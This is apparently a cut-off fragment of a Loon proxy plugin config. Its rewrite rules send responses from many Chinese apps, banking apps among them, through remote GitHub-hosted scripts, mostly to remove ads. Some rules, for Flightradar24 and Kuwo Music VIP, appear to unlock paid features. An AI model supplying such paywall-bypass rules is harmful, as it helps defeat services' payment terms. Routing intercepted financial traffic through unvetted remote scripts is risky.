script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/adrive/adrive.js, requires-body=true, timeout=60, tag=阿里云盘, enable={alyp_enable} +http-response ^https:\/\/member\.alipan\.com\/v1\/users\/onboard_list script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/adrive/adrive.js, requires-body=true, timeout=60, tag=阿里云盘, enable={alyp_enable} + +# > 爱奇艺 +# 首页信息流广告 +http-response ^https?:\/\/[\d\.]+\/3f1\/cards\.iqiyi\.com\/(views_home\/3\.0\/qy_home|waterfall\/3\.0\/feed)\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=爱奇艺首页信息流广告, enable={aiqiyi_enable} +http-response ^https?:\/\/access\.if\.iqiyi\.com\/3f1\/cards\.iqiyi\.com\/(views_category\/3\.0\/category_home|views_home\/3\.0\/qy_home|waterfall\/3\.0\/feed)\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=爱奇艺首页信息流广告, enable={aiqiyi_enable} +http-response ^https?:\/\/cards\.iqiyi\.com\/views_category\/3\.0\/(category_home|categorylib_content|film_hybrid)\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=爱奇艺首页信息流广告, enable={aiqiyi_enable} +http-response ^https?:\/\/cards\.iqiyi\.com\/(views_home\/3\.0\/qy_home|waterfall\/3\.0\/feed)\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=爱奇艺首页信息流广告, enable={aiqiyi_enable} +# 播放详情页 +http-response ^https?:\/\/cards\.iqiyi\.com\/views_plt\/3\.0\/player_tabs_v2\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=爱奇艺播放详情页广告, enable={aiqiyi_enable} +# 搜索页列表 +http-response ^https?:\/\/cards\.iqiyi\.com\/views_search\/3\.0\/(hot_query_)?search\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=爱奇艺搜索页列表广告, enable={aiqiyi_enable} +# 评论区 +http-response ^https?:\/\/comment-card\.iqiyi\.com\/views_comment\/3\.0\/long_video_comments\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=爱奇艺评论区, enable={aiqiyi_enable} +# 我的页面菜单 +http-response ^https?:\/\/iface2\.iqiyi\.com\/aggregate\/3\.0\/getMyMenus\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=爱奇艺我的页面菜单, enable={aiqiyi_enable} +# 首页左上角天气 +http-response ^https?:\/\/iface2\.iqiyi\.com\/control\/3\.0\/init_proxy\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=爱奇艺首页左上角天气, enable={aiqiyi_enable} +# 通用控制,各tab页二楼 +http-response ^https?:\/\/iface2\.iqiyi\.com\/fusion\/3\.0\/common_switch\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=爱奇艺通用控制,各tab页二楼, enable={aiqiyi_enable} +# 底部tab,顶部tab +http-response ^https?:\/\/iface2\.iqiyi\.com\/views\/3\.0\/(bottom_theme|home_top_menu)\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=爱奇艺底部tab,顶部tab, enable={aiqiyi_enable} +# 搜索框填充词 +http-response ^https?:\/\/search\.video\.iqiyi\.com\/q\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=爱奇艺搜索框填充词, enable={aiqiyi_enable} +# 开屏广告,播放广告 +http-response ^https?:\/\/(kjp|t7z)\.cupid\.iqiyi\.com\/mixer\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=爱奇艺开屏广告,播放广告, enable={aiqiyi_enable} + +# > Blued +# 登录后个人界面广告 +http-response ^https?:\/\/social\.blued\.cn\/users\/.+\/more\/ios\?v=2 script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/blued.js, requires-body=true, timeout=60, tag=blued登录后个人界面广告, enable={blued_enable} + +# > 百度地图 +http-response ^https?:\/\/newclient\.map\.baidu\.com\/client\/phpui2\/\?qt=ads script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/baidumap.js, requires-body=true, timeout=60, tag=百度地图广告, enable={bdduditu_enable} + +# > 百度贴吧 +http-response ^http(s:\/\/tiebac|:\/\/c\.tieba)\.baidu\.com\/(c\/f\/(frs\/(page|threadlist|generalTabList)|pb\/page|excellent\/personalized)$|tiebaads\/commonbatch|c\/s\/sync$) script-path=https://raw.githubusercontent.com/app2smile/rules/master/js/tieba-json.js, requires-body=true, timeout=60, tag=百度贴吧广告, enable={bddutpba_enable} +http-response ^http(s:\/\/tiebac|:\/\/c\.tieba)\.baidu\.com\/c\/f\/(frs\/(page|threadlist|generalTabList)|pb\/page|excellent\/personalized)\?cmd script-path=https://raw.githubusercontent.com/app2smile/rules/master/js/tieba-proto.js, requires-body=true, binary-body-mode=true, timeout=60, tag=百度贴吧广告, enable={bddutpba_enable} + +# > 哔哩哔哩 +http-request ^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.app\.playerunite\.v1\.Player\/PlayViewUnite$ script-path=https://raw.githubusercontent.com/kokoryh/Sparkle/refs/heads/master/dist/bilibili.airborne.js, requires-body=true, binary-body-mode=true, enable={airborne}, tag=bilibili.airborne +http-request ^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.community\.service\.dm\.v1\.DM\/DmSegMobile$ script-path=https://raw.githubusercontent.com/kokoryh/Sparkle/refs/heads/master/dist/bilibili.airborne.js, requires-body=true, binary-body-mode=true, enable={airborneDm}, tag=bilibili.airborneDm +http-response ^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.(?:app\.(?:show\.v1\.Popular\/Index|dynamic\.v2\.Dynamic\/DynAll|view(?:unite)?\.v1\.View\/(?:View|ViewProgress|RelatesFeed)|playurl\.v1\.PlayURL\/PlayView|playerunite\.v1\.Player\/PlayViewUnite)|polymer\.app\.search\.v1\.Search\/SearchAll|community\.service\.dm\.v1\.DM\/DmView|main\.community\.reply\.v1\.Reply\/MainList|pgc\.gateway\.player\.v2\.PlayURL\/PlayView)$ script-path=https://raw.githubusercontent.com/kokoryh/Sparkle/refs/heads/master/dist/bilibili.protobuf.js, argument=[{showUpList}, {filterTopReplies}, {airborneDm}], requires-body=true, binary-body-mode=true, tag=bilibili.protobuf + +# > 哔哩哔哩漫画 +http-response ^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.User\/UCenterConf script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/bilibiliManga.js, requires-body=true, timeout=60, tag=哔哩哔哩漫画, enable={bilimanhua_enable} +http-response ^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.User\/GetInitInfo script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/bilibiliManga.js, requires-body=true, timeout=60, tag=哔哩哔哩漫画, enable={bilimanhua_enable} + +# > 薄荷健康 +# 记录 大家都在看data.recom_cards / 底部按钮data.recom_btns +http-response ^https:\/\/api\.boohee\.com\/meta-interface\/v2\/index\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bohe/bohe_ads.js, requires-body=true, timeout=60, tag=薄荷健康, enable={bohejmkh_enable} +# 广场 推荐 红标data.tabs[1].badge /轮播图data.recommend_ads +http-response ^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/plaza\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bohe/bohe_ads.js, requires-body=true, timeout=60, tag=薄荷健康, enable={bohejmkh_enable} +# 代谢中心 顶部轮播图top_banner / 免费问诊推广diagnos_config / 合作医疗机构partner_hospital / 医患问答question_answer / 热门商品product / 品牌大事件brand_story +http-response ^https:\/\/api\.boohee\.com\/open-interface\/v1\/string\/market_page\?title=metabolism_config$ script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bohe/bohe_ads.js, requires-body=true, timeout=60, tag=薄荷健康, enable={bohejmkh_enable} + + + +# >>>>>>>>>>>>>>> ✅ C ✅ <<<<<<<<<<<<<< +# > 彩云天气 +http-request ^https?:\/\/wrapper\.cyapi\.cn\/v1\/activity\? script-path=http://script.hub/convert/_start_/https://raw.githubusercontent.com/Keywos/rule/main/mocks/caiyun.json/_end_/caiyun.json?type=mock&target-app=loon-plugin, timeout=60, tag=彩云天气, enable={cdyytmqi_enable} + +# > 菜鸟裹裹 +http-response ^https?:\/\/amdc\.m\.taobao\.com\/amdc\/mobileDispatch$ script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/header.js, timeout=60, tag=菜鸟裹裹, enable={cdnngogo_enable} +http-response ^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads\.m?show\.cn script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js, requires-body=true, timeout=60, tag=菜鸟裹裹, enable={cdnngogo_enable} +http-response ^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbpresentation\.(pickup\.empty\.page|protocol\.homepage)\.get\.cn script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js, requires-body=true, timeout=60, tag=菜鸟裹裹, enable={cdnngogo_enable} +# 消息中心 +http-response ^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.nbfriend\.message\.conversation\.list\.cn script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js, requires-body=true, timeout=60, tag=菜鸟裹裹, enable={cdnngogo_enable} + +# > 财新 +http-response ^https?:\/\/gg\.caixin\.com\/s\?z=caixin&op=1&c=3362 script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/caixin/caixinAd.js, requires-body=true, timeout=60, tag=财新广告, enable={cdxb_enable} + + + +# >>>>>>>>>>>>>>> ✅ D ✅ <<<<<<<<<<<<<< +# > 大众点评 +# 开屏广告 +http-response ^https?:\/\/img\.meituan\.net\/dpmobile\/ script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/dianping.js, requires-body=true, timeout=60, tag=大众点评开屏广告, enable={davsdmpk_enable} + +# > 动画疯 +# (黑屏25秒) +http-response ^https?:\/\/api\.gamer\.com\.tw\/mobile_app\/anime\/v\d/(token|m3u8).php\? script-path=https://raw.githubusercontent.com/NobyDa/Script/master/Bahamut/BahamutAnimeAds.js, requires-body=true, timeout=60, tag=动画疯, enable={dshxfg_enable} + +# > 滴滴出行 +http-response ^https?:\/\/ct\.xiaojukeji\.com\/agent\/v3\/feeds script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60, tag=滴滴出行, enable={didiiuxk_enable} +http-response ^https?:\/\/freight\.xiaojukeji\.com\/gateway script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60, tag=滴滴出行, enable={didiiuxk_enable} +http-response ^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/xpget script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60, tag=滴滴出行, enable={didiiuxk_enable} +http-response ^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/mget script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60, tag=滴滴出行, enable={didiiuxk_enable} +http-response ^https?:\/\/conf\.diditaxi\.com\.cn\/homepage\/v\d\/other\/fast script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60, tag=滴滴出行, enable={didiiuxk_enable} +#http-response ^https?:\/\/conf\.diditaxi\.com\.cn\/homepage\/v\d\/core script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60, tag=滴滴出行 +http-response ^https?:\/\/conf\.diditaxi\.com\.cn\/dynamic\/conf script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60, tag=滴滴出行, enable={didiiuxk_enable} +http-response ^https?:\/\/common\.diditaxi\.com\.cn\/common\/v\d\/usercenter\/me script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60, tag=滴滴出行, enable={didiiuxk_enable} +http-response ^https?:\/\/daijia\.kuaidadi\.com\/gateway script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60, tag=滴滴出行, enable={didiiuxk_enable} +http-response ^https?:\/\/daijia\.kuaidadi\.com:443\/gateway script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60, tag=滴滴出行, enable={didiiuxk_enable} +# 微信小程序个人中心净化 感谢【TEXAS】分享 +http-response ^https?:\/\/common\.diditaxi\.com\.cn\/common\/v5 script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js, requires-body=true, timeout=60, tag=微信小程序个人中心净化, enable={didiiuxk_enable} + +# > 电影猎手 +# hostname = app-v1.ecoliving168.com +http-response ^https:\/\/app-v1\.ecoliving168\.com\/api\/v1\/movie\/index_recommend\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/dianyinglieshou.js, requires-body=true, timeout=60, tag=电影猎手去广告, enable={dyls_enable} + +# > 叮咚买菜 +# 开屏广告及首页推荐流及底部状态栏优化 +http-response ^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/(?>bottomNavi|homeFlowDetail) script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ddxq.js, requires-body=true, timeout=60, tag=叮咚买菜, enable={ddmc_enable} +# 右下角AI +http-response ^https?:\/\/maicai\.api\.ddxq\.mobi\/tool\/getConfig script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ddxq.js, requires-body=true, timeout=60, tag=叮咚买菜, enable={ddmc_enable} +# 我的页净化 +http-response ^https?:\/\/user\.api\.ddxq\.mobi\/userportal-service\/api\/v\d\/user\/queryMyPage script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ddxq.js, requires-body=true, timeout=60, tag=叮咚买菜, enable={ddmc_enable} + + + +# >>>>>>>>>>>>>>> ✅ E ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ F ✅ <<<<<<<<<<<<<< +# > Flightradar24 +http-response ^https?:\/\/mobile\.flightradar24\.com\/mobile\/(user-session|subscribe) script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/scripts/Flightradar24.js, requires-body=true, timeout=60, tag=Flightradar24解锁, enable={flightradar24_enable} + +# > 飞客茶馆 +http-response ^https?:\/\/47\.100\.65\.202\/source\/plugin\/mobile\/mobile\.php\?module=threadpost&.+?&page=1 script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/fly.js, requires-body=true, timeout=60, tag=飞客茶馆, enable={fwke_enable} +http-response ^https?:\/\/www\.flyert\.com(\.cn)?\/.*plugin script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/flyert.js, requires-body=true, timeout=60, tag=飞客茶馆, enable={fwke_enable} + +# > 粉笔 +http-response ^https?:\/\/tiku\.fenbi\.com\/activity\/app\/launcher\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/fenbi.js, requires-body=true, timeout=60, tag=粉笔开屏广告, enable={ffbi_enable} + +# > 复游会微信小程序 +# hostname = apis.folidaymall.com +http-response ^https?:\/\/apis\.folidaymall\.com\/online\/capi\/component\/getPageComponents script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/foliday.js, requires-body=true, timeout=60, tag=复游会微信小程序 + + + +# >>>>>>>>>>>>>>> ✅ G ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ H ✅ <<<<<<<<<<<<<< +# > 航旅纵横 +http-response ^http?:\/\/(114\.115\.217\.129)|(home\.umetrip\.com)\/gateway\/api\/umetrip\/native$ script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/umetrip/umetrip_ads.js, requires-body=true, timeout=60, tag=航旅纵横, enable={hlzh_enable} + +# > 盒马 +http-response ^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.render\.query(?>indexpage|mypage|tabfeedstream) script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/freshippo.js, requires-body=true, timeout=60, tag=盒马, enable={hema_enable} + +# > 汇付天下 +# 感谢【可莉】分享 +http-response ^https:\/\/mcsp\.cloudpnr\.com\/api\/miniapp\/popular\/T_MINIAPP$ script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/huifutianxia_ads.js, requires-body=true, timeout=60, tag=汇付天下, enable={hftx_enable} +http-response ^https:\/\/saas-ad\.cloudpnr\.com\/huifuad-base-api\/api\/tactics\/ad script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/huifutianxia_ads.js, requires-body=true, timeout=60, tag=汇付天下, enable={hftx_enable} + + + +# >>>>>>>>>>>>>>> ✅ I ✅ <<<<<<<<<<<<<< +# > IT之家 +# 移除 轮播图 置顶文章 信息流广告 +http-response ^https?:\/\/napi\.ithome\.com\/api\/(news\/index|topmenu\/getfeeds) script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/ithome/ithome.js, requires-body=true, timeout=60, tag=ithome, enable={itzj_enable} + + + +# >>>>>>>>>>>>>>> ✅ J ✅ <<<<<<<<<<<<<< +# > 建行生活 +http-response ^https?:\/\/yunbusiness\.ccb\.com\/basic_service\/txCtrl\?txcode=A3341AB04 script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/ccbLife/ccbLifeAds.js, requires-body=true, timeout=60, tag=建行生活, enable={jhsh_enable} +# 删除首页+金融+我的多个横幅等乱七八糟的广告 +http-request ^https?:\/\/yunbusiness\.ccb\.com\/basic_service\/txCtrl\?txcode=A3341AB05 script-path=http://script.hub/convert/_start_/https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/ccbLife/A3341AB05.json/_end_/A3341AB05.json?type=mock&target-app=loon-plugin, timeout=60, tag=建行生活, enable={jhsh_enable} +# 内置饿了么 +http-response ^https?:\/\/g\.alicdn\.com\/.*o2o-ad script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/alicdn.js, requires-body=true, timeout=60, tag=建行生活内置饿了么, enable={jhsh_enable} + +# > 京东 +http-response ^https:\/\/api\.m\.jd\.com\/client\.action\?functionId=(deliverLayer|getTabHomeInfo|myOrderInfo|orderTrackBusiness|personinfoBusiness|start|welcomeHome) script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jingdong.js, requires-body=true, timeout=60, tag=京东, enable={jkds_enable} + +# > 京喜 +http-response ^https?:\/\/api\.m\.jd\.com\/api\?functionId=delivery_show script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingxiAd.js, requires-body=true, timeout=60, tag=京喜, enable={jkxi_enable} + + + +# >>>>>>>>>>>>>>> ✅ K ✅ <<<<<<<<<<<<<< +# > keep +# 我的页面去推广 +http-response ^https?:\/\/api\.gotokeep\.com\/athena\/v\d\/people\/my$ script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js, requires-body=true, timeout=60, tag=keep, enable={keep_enable} +# 应用底部栏净化 +http-response ^https?:\/\/api\.gotokeep\.com\/config\/v\d\/basic script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js, requires-body=true, timeout=60, tag=keep, enable={keep_enable} +# 发现页处理 +http-response ^https?:\/\/api\.gotokeep\.com\/homepage\/v\d\/tab script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js, requires-body=true, timeout=60, tag=keep, enable={keep_enable} +# 课程预览页广告 +http-response ^https?:\/\/api\.gotokeep\.com\/nuocha\/course\/v\d/\w+\/preview script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js, requires-body=true, timeout=60, tag=keep, enable={keep_enable} +# 我的运动页面去除下方推荐 +http-response ^https?:\/\/api\.gotokeep\.com\/sportpage\/sport\/v\d\/mysport script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js, requires-body=true, timeout=60, tag=keep, enable={keep_enable} + +# > 快手 +http-response ^https?:\/\/open\.e\.kuaishou\.com\/rest\/e\/v\d\/open\/univ$ script-path=https://raw.githubusercontent.com/app2smile/rules/master/js/adsense.js, requires-body=true, timeout=60, tag=快手, enable={kkuz_enable} + +# > 夸克 +http-response ^https?:\/\/open-cms-api\.(uc|quark)\.cn\/open-cms script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/quark.js, requires-body=true, timeout=60, tag=夸克, enable={kxke_enable} + +# > 酷我音乐 +http-response ^https?:\/\/(mgxhtj|nmobi|searchrecterm)\.kuwo\.cn\/(mgxh|mobi|recterm)\.s script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js, requires-body=true, timeout=60, tag=酷我音乐, enable={kuwoybyt_enable} +# 会员 +http-response ^https?:\/\/audiobookpay\.kuwo\.cn\/a\.p script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js, requires-body=true, timeout=60, tag=酷我音乐, enable={kuwoybyt_enable} +http-response ^https?:\/\/musicpay\.kuwo\.cn\/music\.pay script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js, requires-body=true, timeout=60, tag=酷我音乐, enable={kuwoybyt_enable} +http-response ^https?:\/\/vip1\.kuwo\.cn\/vip\/(enc\/user\/vip\?op=ui|v\d\/theme\?op=gd) script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js, requires-body=true, timeout=60, tag=酷我音乐, enable={kuwoybyt_enable} +http-response ^https?:\/\/vip1\.kuwo\.cn\/vip\/v\d\/user\/vip\?op=ui script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js, requires-body=true, timeout=60, tag=酷我音乐, enable={kuwoybyt_enable} + +# > 快手联盟,优量汇,穿山甲「广告联盟」 +http-response ^https:\/\/(api-access\.pangolin-sdk-toutiao\.com\/api\/ad\/union\/sdk\/get_ads|open\.e\.kuaishou\.com\/rest\/e\/v3\/open\/univ$|mi\.gdt\.qq\.com\/gdt_mview\.fcg\?) script-path=https://raw.githubusercontent.com/app2smile/rules/master/js/adsense.js, requires-body=true, timeout=60, tag=快手联盟,优量汇,穿山甲「广告联盟」, enable={glgclmmg_enable} + +# > 酷安 +http-response ^https?:\/\/api\.coolapk\.com\/v6\/feed\/(detail|replyList)\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/coolapk.js, requires-body=true, timeout=60, tag=酷安, enable={kuan_enable} +http-response ^https?:\/\/api\.coolapk\.com\/v6\/main\/(dataList|indexV8|init) script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/coolapk.js, requires-body=true, timeout=60, tag=酷安, enable={kuan_enable} +http-response ^https?:\/\/api\.coolapk\.com\/v6\/page\/dataList\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/coolapk.js, requires-body=true, timeout=60, tag=酷安, enable={kuan_enable} + + + +# >>>>>>>>>>>>>>> ✅ L ✅ <<<<<<<<<<<<<< +# > 旅途随身听 +# 首页北京城市导览图片,首页上方轮播图片净化 +http-response ^https?:\/\/www\.1314zhilv\.com\/ltsstnew\/(common\/getJGQIconNew|city\/getAllBannelByCity) script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lvtusuishenting/ltsst-ad.js, requires-body=true, timeout=60, tag=旅途随身听, enable={lvtusvuftk_enable} + +# > 罗森点点 +http-response ^https:\/\/lawsonapi\.yorentown\.com\/area\/sh-lawson\/app\/v1\/ script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lawson.js, requires-body=true, timeout=60, tag=罗森点点, enable={lawson_enable} +http-response ^https:\/\/lawsonapi\.yorentown\.com\/portal\/app\/globalLaunch\/listAdvert script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lawson.js, requires-body=true, timeout=60, tag=罗森点点, enable={lawson_enable} + +# >>>>>>>>>>>>>>> ✅ M ✅ <<<<<<<<<<<<<< +# > 买单吧 +http-response ^https?:\/\/creditcardapp\.bankcomm\.(com|cn)\/rcg\/index\.html\?callbackurl=rcg\/index\.html&orclogin=1& script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/mdb.js, requires-body=true, timeout=60, tag=mdb, enable={mddjba_enable} + +# > 芒果TV +# 我的页面 +http-response ^https?:\/\/me\.bz\.mgtv\.com\/v3\/module\/list\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=芒果TV我的页面, enable={mhgotv_enable} +# 首页信息流,顶部tab +http-response ^https?:\/\/mob-st\.bz\.mgtv\.com\/odin\/c1\/channel\/index\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=芒果TV首页信息流,顶部tab, enable={mhgotv_enable} +http-response ^https?:\/\/dc2?\.bz\.mgtv\.com\/dynamic\/v1\/channel\/(index|vrsList)\/\w script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=芒果TV, enable={mhgotv_enable} +# 底部tab +http-response ^https?:\/\/mobile\.api\.mgtv\.com\/mobile\/config\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=芒果TV底部tab, enable={mhgotv_enable} +# 播放详情页 +http-response ^https?:\/\/mobile\.api\.mgtv\.com\/v10\/video\/info\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=芒果TV播放详情页, enable={mhgotv_enable} +http-response ^https?:\/\/mobile-thor\.api\.mgtv\.com\/v1\/vod\/info\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=芒果TV播放详情页, enable={mhgotv_enable} +# 搜索框填充词 +http-response ^https?:\/\/mobileso\.bz\.mgtv\.com\/mobile\/recommend\/v2\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js, requires-body=true, timeout=60, tag=芒果TV搜索框填充词, enable={mhgotv_enable} + +# > 马蜂窝 +http-response ^https?:\/\/mapi\.mafengwo\.cn\/user\/profile\/get_(list|profile) script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/mafengwo.js, requires-body=true, timeout=60, tag=马蜂窝, enable={mafgwo_enable} + +# > 脉脉 +# 帖子末尾 看过此贴的用户也在看 +http-response ^https:\/\/(h3\.)?open\.taou\.com\/maimai\/feed\/v6\/detail_recommend_feeds\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/maimai/maimai_ads.js, requires-body=true, timeout=60, tag=脉脉帖子末尾, enable={mdmd_enable} +# 移除信息流和评论区大块广告 信息流广告focus_feed / 评论区广告gossip_detail_comment / 评论区广告feed_detail_comment? +http-response ^https:\/\/(h3\.)?open\.taou\.com\/maimai\/(feed|gossip)\/v\d\/(focus_feed|gossip_detail_comment|feed_detail_comment?)\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/maimai/maimai_ads.js, requires-body=true, timeout=60, tag=脉脉, enable={mdmd_enable} + +# > 美柚 +http-response ^https:\/\/config-service\.seeyouyima\.com\/api\/configs\/batch\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/meiyou/meiyou_ads.js, requires-body=true, timeout=60, tag=美柚App净化, enable={meiyou_enable} +http-response ^https:\/\/config-service\.seeyouyima\.com\/api\/configs\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/meiyou/meiyou_ads.js, requires-body=true, timeout=60, tag=美柚App净化, enable={meiyou_enable} + +# > 咪咕视频 +http-response ^https?:\/\/display-sc\.miguvideo\.com\/display\/v3\/static\/PERSONAL_CENTER$ script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/refs/heads/main/Scripts/miguvideo/miguvideo_ads.js, requires-body=true, timeout=60, tag=咪咕视频个人中心去广告 + + + +# >>>>>>>>>>>>>>> ✅ N ✅ <<<<<<<<<<<<<< + + + +# 